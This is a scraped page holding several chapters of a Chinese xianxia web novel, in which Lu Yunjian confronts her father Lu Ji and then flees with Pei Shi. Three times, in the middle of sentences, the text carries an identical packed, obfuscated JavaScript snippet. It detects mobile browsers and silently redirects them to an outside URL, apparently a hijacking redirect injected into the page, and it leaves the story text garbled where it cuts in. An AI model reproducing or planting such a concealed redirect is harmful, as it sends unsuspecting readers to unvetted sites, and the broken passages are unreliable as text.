即便早有预料,可事情按照逆转时空前的轨迹发生时,陆云笺终于还是有几分茫然了。 季衡失踪,几乎可以肯定,过不了多久,灾劫就当降临了。 灾劫发生的历程,正在步入正途。 ……“正途”? 倘若尘世覆灭是正途、是必然,那么这一次逆天而为,他们又有几成能赢? 修真界均处三大门派辖地,若是使用通讯符与传送通道,是极易被监控与追踪的,因此此二法虽更为便捷,但陆云笺只能御剑而行。 陆云笺立在惟霜剑上,行得比任何时候都快,只消一盏茶的工夫便到了云间世脚下。 云间世尚未布置新的戒严结界,想来镜阳宗众人一时自顾不暇,还未发布缉拿令。陆云笺不打算从山门光明正大地走,只放低了动静,潜入云间世。 陆明周此时应当已经处理完了上元宴事宜,季瑶得了消息需回镜阳宗,此时云间世应当没多少别的门派的人,年关积压的事务早已处理妥当,如若不出所料,陆明周总该回寝居一趟。 果不其然,陆云笺刚潜入陆明周房中,陆明周便推门进来了。 陆明周在桌前坐下,取了纸笔正欲写些什么,陆云笺自黑暗中探出身,唤了一声:“哥。” 陆明周手一顿,留下一个透出纸背的墨点,而后蓦地起身:“云笺?!你——你怎么在此处?” 不待陆云笺说话,陆明周便道:“镜阳宗方才来了消息,说季宗主已死,季衡失踪,镜阳宗众人言之凿凿指你加害于他二人,父亲已下达了缉拿你与裴世的命令,云间世马上就会加强戒严结界,你如何还回了云间世?!” 陆云笺鲜少见到陆明周如此慌张的模样,闻言勉强笑了笑:“我来,是因为有必须告知你的事,此事你必须知晓,而旁人都不能知晓。我只相信你。” “……” 陆云笺继续道:“至于镜阳宗之事,我所知的是,有东西附身操控季衡杀了季良衢,毁去了掌门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482068|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令,又炸毁了季衡双手经脉,毁得很彻底,不会再有痊愈的可能。 “毁去经脉之后,又意欲剖出季衡的心脏,不知是与镜阳宗有怨仇,还是有其他意图。 “镜阳宗素来想要扳倒云间世,这自然是借我毁去云间世声名的好机会,正如云间世要取得照灵骨开启断界阵,就需要为归云仙君安上一些罪名一样,不过各有所需,各有各的索取之道罢了。” 陆明周双眸隐隐震颤,他不由自主上前一步,道:“我之后会想办法为你二人证明清白,可你此番来云间世,若是被父亲发觉……” 陆云笺轻轻摇头:“你无需为我二人洗去罪名,如今云间世最好与我二人撇清关系,以免仙门百家以此为由攻讦云间世,若是如此,届时灾劫来临,怕是没有余力应对灾劫。 “至于我二人,只要不是我们束手就擒,仙门百家绝无可能关得住我们,不必太过担忧。 “至于什么清名功绩,那都无所谓,仙门为了自身清名,必不会轻易放弃为他安上罪名,不过这一次,我会与他共进退,此生此世,都不会再留他一人。” “……” 陆明周迈出的一步又退了回去,撞上身后的桌案,终于后知后觉出了连日忙碌的疲惫。 陆云笺沉声继续:“另一件事,是关于另一个时空。 “我们原计划撕裂时空裂缝,联合另一个时空共对灾劫,但如今看来此法绝不可行,必须摧毁断界阵。 “两年前我中刀濒死,陆稷取了我一半魂魄意欲炼化破月,但破月护住那一半魂魄到了另一个时空,我借另一个时空的陆云笺的身体存活两年,发觉另一个时空并非修真界,极少有人修习仙门术法,更没有什么魔王诅咒与灭世灾劫。 “倘若灾劫临世,那也是这个时空的罪孽与因果,即便回天无术、尘世覆灭,也绝不能连累另一个时空。” 陆云笺此番话说得极快,陆明周只觉一道又一道惊雷在耳边炸开,心绪震荡之际,竟不知该从何问起,只干巴巴地道:“你……你可有什么证据?” “没有,”陆云笺陈述得近乎漠然,“即便我可以把记忆提取出来、展示于人前,也不会有什么人相信,就算信了,也不见得就会放另一个时空安然无恙。如今断界阵只差照灵骨便可成,现成的阵法,现成的所谓‘救世之法’,有谁会甘愿放弃?即便不能联合另一个时空,但总会有人想让另一个时空替我们受灾,撕开时空裂缝,将妖魔引往另一个时空……还会有比这更好的替罪羊吗?” 陆明周扶住桌案,道:“……那你打算如何?” 陆云笺道:“附身季衡的东西不知会不会是灾劫的发动者,我们不能获知其行踪,太过被动。 “逆转时空前,季瑶说季衡是在诛杀妖魔的途中忽然失踪的,这一回灾劫并未发生,季衡可以说是提前失踪,若说是有什么变数促成了这一改变,恐怕就是季良衢之死。 “至于季良衢之死如何促成改变,目前仍不可知,还需进一步查探。 “至于摧毁断界阵,只有你能做到。镜阳宗掌门令已毁,必然会对镜阳宗结界与圣清结界造成影响,不知这一回修真界又能抵挡多久,为今之计,只有找到破除灾劫之物——” 陆明周道:“破除灾劫?” “是。不是防御,不是躲避,妖魔临世,那便屠尽妖魔。这是我能想到的唯一办法,不管有几成胜率,都只能一搏。” 陆明周只觉头脑晕眩、眼前发黑,仿佛数日不曾好眠的疲累都在这一刻涌将上来:“断界阵以四方神兽为基,四方神兽之阵与圣清结界相连,若要毁去断界阵,各方阵法都必然受到极大影响……如此数年,为了增强各方阵法效力,修真界已是孤注一掷,再赌不起了……” 陆云笺道:“圣清结界也不过是防御结界,护不住修真界一世,若要破除灾劫,什么断界阵什么圣清结界都无用——唯有刀剑,可以为我们杀出一条血路。” “……” 陆明周只觉浑身力气像是被什么东西抽尽了,倏然跌坐在椅上,轻轻揉了揉额角。 陆云笺原本并不打算多说其他,此时却忽然苦涩地扯了扯嘴角,不由自主地开口:“哥,你还记得我们的娘亲吗?” 102. 身如冢 陆明周思绪纷乱,一时间竟未觉出陆云笺话中异样:“……什么?” 陆云笺道:“二十年前,云间世尊主夫人莫名失踪,尊主苦寻数日,待寻到时,发妻已病重仙逝。陆尊主苦思发妻,终生不再续弦,实乃鹣鲽情深。” 陆明周终于反应过来陆云笺所言何意,蓦地睁大了眼睛。 “我们的母亲,名叫周昔燕。二十年前,她带我逃至眉阳村,躲躲藏藏八年之久,后来眉阳之难,她为护我,为护眉阳村,以身为饵,葬身妖魔口腹。” “什么……” 陆明周的声音虽颤抖得不甚清晰,可心却忽地如同千涛万浪都静了下去,往下千丈万丈,都是沉沉死水。 原来如此…… 怪不得父亲会忽然想收一个义女,怪不得父亲从不对他说起母亲究竟是如何逝世的,怪不得父亲房中会有那样的锦囊…… 一只小巧精致却有些破旧的锦囊,上头绣着两只新燕,被沾染的鲜血与尘灰遮掩殆尽,那时他还疑惑父亲房中为何会有这样的事物…… 原来那个早已在他记忆中模糊不清的母亲,那个父亲从不对他多提的母亲,那个他从不曾了解的母亲……名叫周昔燕。 他自出生起便体弱,常年泡在药罐子里,至三四岁才渐渐好转。 虽说常人也不大会记得三四岁时发生过的事,但于他,那片记忆几乎是空白的,他的母亲只存在于那片记忆里,也是近乎空白的。 陆明周一动不动地盯着陆云笺,仿佛想要自她的眉眼中窥见些许母亲的影子。陆云笺生得与陆稷并不大相像,想来应当是与母亲很像了…… 可他自三岁起便不再见过母亲,不再看过母亲的画像,甚至不再听过母亲的故事,便是有故人之影,也是辨不出来的。 可父亲为何会逼得母亲不得不逃走,又为何要留着那样一只锦囊?既认出了陆云笺,又为何不与她相认,只将她收作义女,甚至…… 不该问的他从不会多问,可此时此刻,他忽然想奔至父亲面前,亲口问他一句“为什么”。 为什么? 若是心如草木,又为何似是余温尚存。 他心中忽地一紧,脑中飞闪而过的无数画面,忽地停在了一桩往事上。 那时他约莫七八岁,正跟随侍药长老修习医术。 一日课业毕,侍药长老喝醉了酒,盯着他夸赞不已,说少主聪慧沉稳,自小便有君子之风,实乃云间世宗门之幸。 这样的话他听了不下千遍,只应了声,便准备去为侍药长老煮些醒酒汤。侍药长老实在喝得太多,神智有些不清,夸着夸着忽然说: “少主啊,你可得好好地修习,将来担大任、成大事,万不能叫尊主失望喽…… “你自小身体不大好,当年第二个孩子出生,尊主原是想给你补补的,嘿,结果不知怎么地让夫人给知道了,夫人带着那个孩子逃了出去,死在眉阳之难,不明不白的,那孩子也不知道去哪儿了,估计也死了吧…… “唉,得亏后来你还是把身体养好了,云间世的尊主之位可是只传嫡长的,尊主把你捧在手心里,你要出了事,那可怎么好呢……” 那时陆明周年岁尚小,侍药长老的声音含糊不清,他只听得只言片语,却也觉得恶心至极,当即奔出门去,往后数日噩梦缠身,不得好眠。 有什么东西破碎崩塌了,疑惑、不解、恐惧自缝隙里丝丝滋长出来,严丝合缝地裹住了他,数日之内,他几乎呼吸不能。 但他不敢去问父亲,长老们给他上的第一堂课不是大义,不是术法,而是顺从。 他必须遵从父亲为他铺设的光辉大道,担大任,成大事,绝不能妄思其他。 时隔多年终于再次听到母亲,终于知晓了母亲的名姓,却只觉心脏连带筋络血肉都被生生攫出,竟没有半分慰藉。 母亲…… 再回过神时,竟是自持不能,早已泪流满面。 陆云笺说着说着,声音也变得极轻:“阿娘曾对我说过一句话,‘许多事情是逃不过、躲不掉的,唯有自己强大起来,在祸患来临之时将它化解,而不是永远躲避,直到有一天躲不过了,只能束手就擒’。” 陆明周闻言抬起头,再次看向陆云笺。一瞬之间,她的身影忽然与他想象了无数遍的那个影子重叠了。 陆云笺知道此去希望渺茫,却忽然绽出一个笑容,仿佛前路坦荡,无所可惧:“哥,你敢不敢赌最后一次?就赌这一次,我们能赢。” …… 聚在中孚殿内的诸位仙首离开了,如今季衡失踪,众仙门内人心惶惶,参与布置圣清结界的几家门派商议不出什么结果,便各自守着各自门派,全心待命,届时灾劫降临,得了云间世的命令,便立即开启圣清结界。 得令前去追踪陆云笺与裴世的银鹰卫也下去了,可不知为何,陆明周还没有回到中孚殿。 陆稷倚在中孚殿尊位上,目光穿过空空荡荡的大殿、穿过大敞的殿门,径直停在殿外神树之上。 神树仍稳定如常,虽偶有动荡,但大体无碍。 他看了片刻,忽地起身,准备朝殿外神树走去,却在此时,忽闻天边传来一阵轰隆炸响,来源正是后山禁地。 陆稷面色一沉,正掠出大殿,忽听炸响传至了神树前,紧接着蓝紫两道灵光相撞,轰然作霹雳雷响! 两道身影在神树前落定,月白身影手中长剑滋滋爆裂灵光,槿紫身影立在他对面,刚将紫光耀目的匕首收回手中。 陆明周不着痕迹地避开陆稷向自己投来的目光,道:“父亲,她方才潜入后山禁地,想毁去断界阵。” 陆稷目光一转,冷冷落在陆云笺身上,而后他抬起手,轻轻收紧五指。 那阵熟悉的剧痛再次自四面八方裹来,陆稷收紧的五指仿佛严丝合缝地攥住了她的心脏,每收紧一分,便有筋络血肉自指间破碎掉落,鲜血也被一滴一滴拧干。 那是陆稷遣陆云笺前往哀牢时,顺手在她身上下的压制咒法,云间世结界之内,陆稷的灵力全无阻碍,随时可以捏住她的心脏。 陆云笺腿一软,险些跪倒在地,但她这次没有再跪,甚至没有弯下脊背,即便面色苍白、几乎毫无血色,也只是捂住心口,冷笑道:“你将我送去哀牢之时,可曾想过有朝一日,你最得力的刀,会刺向你?” 陆稷在离二人数丈之处便停了步,道:“后山禁地,无掌门令不得开。你要为他毁去断界阵?” 陆云笺忍下又一阵剧痛,答非所问道:“是啊,天下第一大派掌门令设下的禁制,要打破的确很麻烦,真是好生威风。陆稷,阿娘杳无音讯的那些年,尸骨无存的那些年,无人知无人晓无人念的那些年,你坐云间世的尊位可坐得舒心吗?” 陆稷松了手,一抬指尖,陆云笺心脏那阵绷紧的剧痛忽地消失了,她尚来不及松一口气,便觉五脏六腑像是都被抽离了身体,身躯先是一轻,而后又忽地一重—— 背脊猛地撞上神树树干,雪白花瓣簌簌而落,模糊了喷涌而出的鲜血与那道远在天边的藏蓝身影。 陆云笺伸手扶住树干,再一次没有跪下去。 她抬手擦去唇边鲜血,握紧了手中的破月匕首,仍是冷笑着: “阿娘一人流落八年,最后死于妖魔齿间,你护过她吗?阿娘逝世已有十二年,你告知过天下她的名姓吗?你为她立过坟冢、回眉阳村看过她吗?你告诉过她儿子她的名姓、来历、下落吗?你坐稳了天下第一大派尊主之位,享什么‘情深义重’之名,心安理得全无半分羞愧——何其恶心!” 陆明周闻言如遭雷殛,眼前藏蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487110|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影一闪,他倏然回过神,却根本不及阻拦,眨眼间那抹藏蓝身影已经闪至神树之前,扼住了陆云笺的咽喉。 陆云笺抬手抓住陆稷手腕,化去他几分力气,定定望着那双对自己从不曾有过半分温情的眼睛,道:“太迟了。早在遣我去往哀牢训练之前,你就应该杀了我。” 她说着蓦地收紧了手,陆稷尚来不及抽手,便觉扼住陆云笺咽喉的手“咔嚓”一声筋骨错位,在她松手的那一瞬才得以后撤,却为时已晚。 那柄修真界诸多修士觊觎却不可得的破月匕首,刺入了他的胸膛,寒刃一寸一寸冰冻他的血肉,而那双不断逼近的眼眸比寒刃更冷、更刺目。 她们的眉眼的确很是相像……可这样的神色,一点也不相像。 与云间世掌门灵力相连的神树倏然摆动一树枝条,散往云间世各处的细碎花瓣结成水流般的疗愈灵力,尽数汇入陆稷胸口。 花瓣源源不断地汇聚而去,根系却开始不如初时稳定,地底被镇压的妖魔似是不安地躁动起来,撕开道道裂缝。 陆云笺倏然撤回手,带出一线鲜血,但破月终究没有彻底穿透他的心脏,没有一击取走他的性命。 陆稷抬手封住胸口,又以灵力将土地裂开的裂缝封闭无痕。 神树再度静默下来,细碎花瓣仍如轻柔的雪,飘飞往云间世各处。 陆稷再度闪身至数丈之外,陆明周后知后觉地提剑奔上前来,挡在他身前:“父亲,您怎么样?” 陆稷没有回答,只冷冷盯着靠在神树旁的陆云笺。 这一回是他大意……若论近战,这世间诸多修士,绝无可能有人能胜过她。 不。不仅仅是这一回,她说得对,早在眉阳村见到她时,就应该杀了她。 是见她眉眼与周昔燕太过相似,心生怜悯,竟也有一瞬,希望她像寻常人家那样唤自己一声“爹”?还是见她体内的妖狼魂魄与破月匕首实在难得,不甘心就这样杀了她? 可若不是她,周昔燕又何至于离开云间世,又何至于葬身妖魔口腹? 无论如何,都是错了。一时犹疑,足以酿成大错。 三人相对而立,谁都没有再靠近谁,良久静默无言。 陆云笺抬起手,低眸扫了手腕上的白玉珠链一眼,道:“只恨我唤了你十二年的‘父亲’,还有一瞬,为你送我的这一串白玉珠链而欣喜。” “……” “阿娘送过我一串很相像的,它为我驱邪避祟,佑我安康无恙。你送我的这一串,还有以我之名炼出的戮心蛊,都是为了追踪我,压制裴世。” 陆云笺掌中绽出灵光,那串珠链忽地崩散开来,莹白如光点的事物滚了一地,风一吹,便同神树花瓣一道散作飞灰。 这一串珠链上的追踪压制咒法她早在逃出镜阳宗时便毁去了,如今它再无价值,轻轻一碾便碎作齑粉。 “这一回,我会与他共进退,往后千年万年世人谩骂都无所谓,只求此生此世,不再留他孤身一人。” 陆云笺手中的灵光并未散去,反而凝聚得愈来愈旺盛,一时几乎亮至白炽。 “阿娘与我说,‘云笺’二字,取的是‘云笺写叶长,滴露和烟种’的字。如今想来,应当是‘泪满云笺未怆神,高楼望不见飞尘’吧。” 二人不知那道灵光会去往何处,陆明周上前一步,将陆稷牢牢挡在身后,却见陆云笺忽地蹲身,而后猛地以掌击地—— 炫目紫光爆裂开来,云间世群山震颤,那道槿紫身影消失不见的一瞬,或以神树为中心,或以后山禁地为中心,道道交错相连的阵法忽地都显了形态,耀目灵光一时照彻天穹—— 云间世结界,四方神兽之阵,圣清结界…… 还有以后山禁地为中心、忽地颤动嗡鸣、明灭不定的断界阵。 103. 命悬灯 天地间空茫一片,平静得近乎颓败萧条。 裴世自林间匆忙穿行而过,躲开自身后飞来的一支灵箭。 云山云雾环绕流转、林木高大参天,追捕的修士无论是御剑还是在林间奔走都要废不少工夫,自半空落下的灵箭唰唰如雨,林间流箭不息,都没能伤裴世一分一毫。 一名御剑而行的修士一手搭弓,一手摸向箭筒,却不料又摸了个空,趁着补充灵箭的工夫,忍不住气急败坏地朝下方喊:“归云仙君,你放着好好的风华五君不做,偏要做丧门狗,整日逃来窜去,有什么意思!” 众修士追了半个时辰有余却一箭也没中,都有些不快,手中灵箭不止,嘴上也开始咄咄逼人: “有些人放着好好的正人君子偏不做,非要行些忘恩负义的禽兽之事,我看什么风华五君,也不过名不正言不顺!” “陆小姐也不知怎地与你狼狈为奸,杀人叛逃一件也没落下,亏得我先前还对风华五君多有崇敬之意!” “你还唤陆小姐呐,云间世出了这么二位,怕是也时日无多了,你我收拾收拾也当做天下第一大派了!” 裴世奔至一处峭壁,见往下数十丈才有平地,便忽地停了步,顺手抓过身边飞来的一支灵箭,纵身下跃之时,猛地回身将手中灵箭掷了出去。众修士只闻一声破风之响,尚不及反应,便见一道灵箭穿林破空,蓦地射穿了一名修士的肩膀! 那修士蓦地住了嘴,一时疼痛难忍,从剑上栽了下去。 裴世跃下了峭壁,四周便不再有茂盛林木遮挡。 众修士原得了令不能下杀手,此时见同伴受了伤,惊怒之下一时顾不得其他,都御剑凌空,搭了灵箭对准下方的裴世。 裴世早已停了步,不再奔走,此时抬头望着半空中准备放箭的修士们,竟也没有召唤武器或是开启防御结界,不知在想什么。众修士见他如此反常,都有些惊疑不定,但犹豫片刻,终还是一齐放了箭。 每支箭上都灌满了灵力,来得比先前任何一次都快。 裴世静静望着飞来的灵箭,仍是没有任何动作。然而忽地铿然一声,数支灵箭被一道突如其来的银光打散,竟倏然尽数碎作齑粉! 众修士骤然一惊,尚不及去看来的是何人,便觉身上猛地一重,再也没有力气御剑,个个都从剑上跌了下来,缓了片刻才勉强掰直了身体,没有倒地不起。 陆云笺将破月收回手中,在裴世身前站定,冷声道:“他是我的人,你们伤他之前,是不是应当先问过我?” 众修士见着是陆云笺,脸色都很不好看。 有修士沉默半晌,才沉声道:“陆小姐,陆尊主念在旧情,只令我等缉拿归云仙君,你若是明事理些,也该领了陆尊主的心意,别再与这种人掺和,尽早押他回云间世为好。” “扯什么呢。我与他的名姓一同书在缉拿令、罪状书上,是狼狈为奸、一丘之貉,如今却让我不与他掺和?”陆云笺冷笑道,“原只觉云间世与镜阳宗的人脑子不好使,今日才知吞象阁也出了不少人才。” 不待吞象阁众弟子反应,陆云笺又道:“况且,我看诸位接下来会有些麻烦,还是先保全自身为好,莫要多管闲事。” 裴世闻言,微一抬手,解开了牵住偶人的法咒。 那日他在溟海边以灵力牵住众偶人以限制其行动,却不会偶人操纵之术,因此以灵力强行拽着大批偶人从溟海来到云山,灵力耗费巨大,一旦动用别的术法,无数偶人便会尽数扑将上来,予以反噬。 偏生后来又遇上仙门通缉,堂堂归云仙君一路被追击至此处,已然十分憋闷。 众偶人被强行拽着奔了千里之遥,也已经狂躁不安,是以裴世的灵力一撤走,众偶人便都尖啸着涌了上来。 吞象阁众弟子听见动静,回过头,便见乌压压一片扭曲咆哮的东西扑了上来,下意识想要御剑逃脱,却不知陆云笺施了什么咒法,竟全然没有力气御剑,只堪堪能举剑抵挡、击杀偶人。 众弟子都惊慌不已,边抬剑御敌边叫道:“陆云笺!你施了什么妖法?!我劝你不要执迷不悟——”话说一半,却是没有余力,只能慌忙打住。 裴世早召了归云剑与陆云笺一同腾至空中,陆云笺转头下望,回道:“我劝你闲话少说,专心打架。” 话音落,归云剑一瞬之间便飞出百丈,直到下方的偶人与修士都变作微小黑点、直至消失不见,陆云笺才道:“他们过不了多久应当就会向云间世求助,便是云间世派了人来破除偶人阵,也少说能拖住他们一个时辰。” 她说着收回目光,抬手轻轻敲了敲裴世的左肩:“谁伤了你?” “无事,被海妖捅了一下,若你再晚些来,就该好了。”裴世抓着陆云笺的手带离自己的肩,神色中的不悦显而易见,“光问我,你怎么不解释一下自己的伤?” 陆云笺故作糊涂地检查了自己全身一遍,道:“哪儿有伤?” 裴世神色分毫未缓:“你与陆稷交手了?” “没有。” “……白梅阵能感知到你的灵流变化,我从未见过你的灵流那样动荡不稳。” “……” 陆云笺见如何也瞒他不过,只好道:“交手了,他动用了压制咒法,我刺了他一刀,但不出所料,掌门受创,神树不稳,云间世结界与圣清结界都将不稳,不划算,就放了他一命。” 裴世眸色一沉:“陆稷……” 二人无疑都希望陆稷死,可他若真死在灾劫中,那便证明灾劫严重得超出修真界仙门百家的预料,以致天下第一大派的掌门都不得不牺牲,一时之间,竟不知是希望他死无全尸,还是希望他安然无恙。 见裴世不说话,陆云笺还以为他在气自己,于是道:“这次是我不好,让你一个人去抓海妖,又让你一个人碰上偶人阵。饶了我这回吧,归云仙君?” 裴世静默片刻,忽然抬起手捧上陆云笺的脸,突如其来的暖意骤然驱散了久在寒风中的寒冷。 他低着眸,用指尖轻轻摩挲着陆云笺的脸,直到那张苍白的脸渐渐涌上些许血色,才道:“你要怎么补偿我?” 陆云笺眨眨眼。 裴世却像是得了逞,嘴角闪过一抹意味不明的笑,蓦地撤了手:“你老老实实地与我说,陆稷还有没有别的什么对你不利的动作,为何云间世与镜阳宗会忽然下达缉拿令,你是不是在镜阳宗遇上了什么?” 陆云笺愣了一瞬,扯回他收到一半的手,在作乱的指尖不轻不重地咬了一口才勉强放过,回答道:“别的是真没有了。原计划我要在云间世待上半月,摸清各个阵法,尝试摧毁断界阵。结果去了趟镜阳宗,正巧遇上季良衢被杀,我被带入地牢,原想借机探一探镜阳宗的阵法,却不料……” 陆云笺神色骤然暗淡下来,轻声道:“季衡失踪了。来救我的路上,他被附身的东西废了双手经脉,镜阳宗掌门令也被毁得彻彻底底。他告诉我是他杀了季良衢,有东西在尝试附身操控他,可我将灵力打入他体内,却觉不出半点不对劲的痕迹……” “陆云笺,你好像有些心乱了。” 陆云笺蓦地抬头:“什么?” 裴世道:“你害怕吗?即便一年前就该降临的灾劫至今不曾发生,一切却忽然仿佛照着逆转时空前的轨迹进行了。你害怕赢不了吗?” 陆云笺倏然静默下去,她可以冷静得近乎冷漠地告知季繁洲接下来该如何调查真相,也可以仿佛无所畏惧地宽慰陆明周赌他们这一回能赢,唯独只身一人,或是在裴世面前时,全然无法故作轻松。 归云剑行得很稳,陆云笺一颗心也稳稳沉了下去,一时没有说话。 良久,她平静了心绪,勉强笑道:“说实话,我从前从没想过这个问题,如今来想,老实说,的确并没有多大把握我们能赢。如今的仙门处处掣肘,只想着独善其身,圣清结界又是诸多门派联合建立的千机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497952|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵,只怕妖魔一出世,圣清结界就会出问题。作为万里防御结界的圣清结界一出问题,妖魔必然席卷修真界,届时众仙门恐怕只会也只能自守,而难以合力对敌,如此一来,仙门百家自身的结界又能撑多久?修真界又能撑多久?” 裴世轻轻叹了口气:“我知道,最是从容自若的云间世陆小姐,其实总会思虑良多,甚至思虑深重。” “……” “我不知道灾劫临世是怎样的景象,也不知道圣清结界究竟能挡住多少妖魔,更不知道未来会有多少变数。”裴世的语调很平静,“我只知道一件事,那就是陆小姐从不会输。在我很久之前见到你时,就从不觉得你会输。” 陆云笺道:“什么时候?那次擂台赛,我和你过招?” 裴世轻轻摇头:“不,比那还要早得多。 “那时我刚入云间世,先前三年虽也在许多仙门之中偷习过武功与术法,但在云间世的演武场练了几日,却总不得要领。 “云间世每月月底都会通过演武来考核弟子的修习成果,那日正好要演武,前一支队伍上了阵,好些人都被各自师父拎了出来批评。 “你和陆明周坐在高高的演武台上,俯瞰着下方,仿佛已经司空见惯。那时虽没有师父会批评我,但我在下面仍然特别紧张,又很害怕,险些犯恶心。 “有个长老骂完自己的徒弟,请你去给他做示范,说陆小姐小小年纪,却一个能打你五十个。我远远地看到你和他过招,怕得都抖了起来,好在之后你就离开了演武场,我撑着没晕厥过去,演完一场,众长老都懒得批我。 “那时我就想,陆小姐那样厉害的人物,想必从不用担心什么演武什么考核,若是与人过招,想必也从不会输。” 陆云笺再度笑了起来,这一回总算多了些真心实意:“归云仙君,你为了宽慰我,这牺牲未免也太大了些。” 裴世也笑道:“说起来,那时我从不曾想,居然有朝一日能胜过仙门子弟,有朝一日能和陆小姐对上招。想来世事果真没有定数,没准这一回灾劫本就不会降临,又没准这一回你得了神器,呼风唤雨,轻轻松松就破了这场劫难呢。” 陆云笺瞥过裴世通红的耳尖,有些手痒地上手掐了一把,笑道:“裴世,没想到你还会看小孩子看的话本子?天降奇人邪不压正什么的,小时候我娘给我讲故事,十有八九都是这些。” 裴世偏了偏头,避开陆云笺的手,道:“话本子不话本子的不好说,但有一句一定是真的,绝无虚假。” “哪一句?” “我从不觉得你会输,同样的,这一次,我相信你一定会赢,会保下修真界,还这世间一个太平。你与我说过的,往后清平人间、万家灯火,我们都要一同去看。” 寒冬风冷,归云剑没有行得太快,但仍在夜幕彻底降临之前赶到了目的地。 参世仙人,传说曾受九天仙神点化,慈悲为怀,法力无边,据说可活死人肉白骨。 裴世少时被制成金羽骨后,幸得一白衣道人所救,竟重生血肉、逃过死劫,虽说参世仙人来去无影、行踪杳然,二人也不能确定救下裴世的就是参世仙人,但一时想不到更好的选择,便只得来到此处。 二人下了剑站定,四处是大片大片杳无人烟的荒山,入目不是枯黄野草便是皑皑白雪,显然已久无人造访此地。 座座荒山分明看来无甚差别,裴世却拉着陆云笺毫不犹豫地朝其中一座走去:“我入云间世之后,曾来此处寻过他,但此山幻境丛生,我没有进入,此后数年,都没再见过他。” 陆云笺的思绪仍有些乱,只低眸紧紧握着他的手,直到裴世停了脚步,她才再度抬起头。 这一看之下,却是微微一惊。 裴世转过头:“怎么了?” “逆转时空前,无津大师为我们指了一座荒山,说是灵气丰沛,适行逆转时空之阵。”陆云笺微微蹙眉,“正是这一座山。” 104. 半妄言 “无津大师……”陆云笺恍然冷笑,“果然,那秃驴嘴里也没几句实话。” 陆云笺抬头望向空茫无一物的荒山,想起来逆转时空前,几人依照无津大师的指示来到此处,见到的也是寸草不生、迷阵幻境遍布的荒山。 那时陆云笺只以为是山中精怪多,自然形成了幻境。如今再看,即便救了裴世的白衣道人不是参世仙人,那也定非等闲之辈,不知为何挑了这样的荒凉无人之处长住。 陆云笺收回目光,将裴世的手握得更紧:“走吧,先上山看看。” 裴世也将目光自山上某处收回,应道:“嗯。” 走出几步,四周忽起了一阵迷雾,陆云笺知道这是幻境将起的前兆,但只紧紧握着裴世的手朝前走去,没有停顿,也没有召唤武器。 二人朝着上山的方向又走出一段,渐重的迷雾即将吞噬四下一切景象,陆云笺却忽然停了步:“什么东西?”转过头,见裴世也四下打量了几眼,而后目光停在迷雾之外的某处,拉着陆云笺的手轻轻往回一动,将陆云笺带离了迷雾。 眼前的迷雾消失了。 四下寂静如常,仿佛先前细微的窸窸窣窣的动静不过是二人的幻觉。 裴世抬手,正欲召出归云,陆云笺却伸手拦住了他,抬手召出破月,静静盯着某处,而后猛地将破月掷出—— 铿! 陆云笺将被一道金色灵光弹回的破月收回手中,微微蹙眉:“琴音?” 琴音初时渺远,而后渐渐逼近,直至一声破风之响如惊雷炸响在耳边,身旁数丈草木齐齐被连根拔出! 一个熟悉的惨白身影被断木裹挟着飞出,另一道杏黄的身影立在他对面,抬手止住了仍在嗡鸣不止的琴弦。 陆云笺循着琴音望去,目光冷了下去:“无津大师。” 照翎族半躺在地,一时没有起身,闻言轻哼一声,笑着重复:“无津大师?” 无津大师低眸瞥他一眼,对陆裴二人道:“此处正是参世仙人所在,二位若是想寻参世仙人,从山中幻境进入便可,贫僧会在此拖住他,二位尽可放心。” 陆云笺瞥了地上的照翎族一眼,自然知道照翎族一直在此等候二人前来,想必不怀好意,因此也不打算多耗费时间,只道:“那便请大师多等一等,我二人自幻境出来后,自有要事相询。” 无津大师没有同意也没有回绝,二人也没有等待,相携重新向山中走去。 迷雾又起,照翎族侧头看着二人的身影渐渐被迷雾吞没,但无津大师守在前方,他也无法多有动作。 照翎族似乎也没想再有什么动作,转回头,盯着无津大师看了好一阵,忽地轻笑一声,唤道:“阿绥。” 他缓缓起了身,伸出一指在颈间的血痕一抹,被琴音所伤的伤处霎时愈合无痕:“还是你想让我与世人一样,恭恭敬敬唤你一声‘无津大师’?” “我与你不一样。”无津大师神色极冷,“你很希望有人唤你一声‘十六’?可惜会这么唤你的人早在三百二十年前就死干净了,你若想编一份宗谱,大可以让你自己位列第一。” 照翎族的笑意倏然僵住,又渐渐化作冷意:“‘无津大师’。你倒是清高,帮他们一把,就能把自己的罪过摘得干干净净?” 无津大师的手在七弦琴上顿了片刻,再次缓缓拂动琴弦,琴音浅淡渺远,却如寒冬凛冽的风丝丝刺人肌骨。 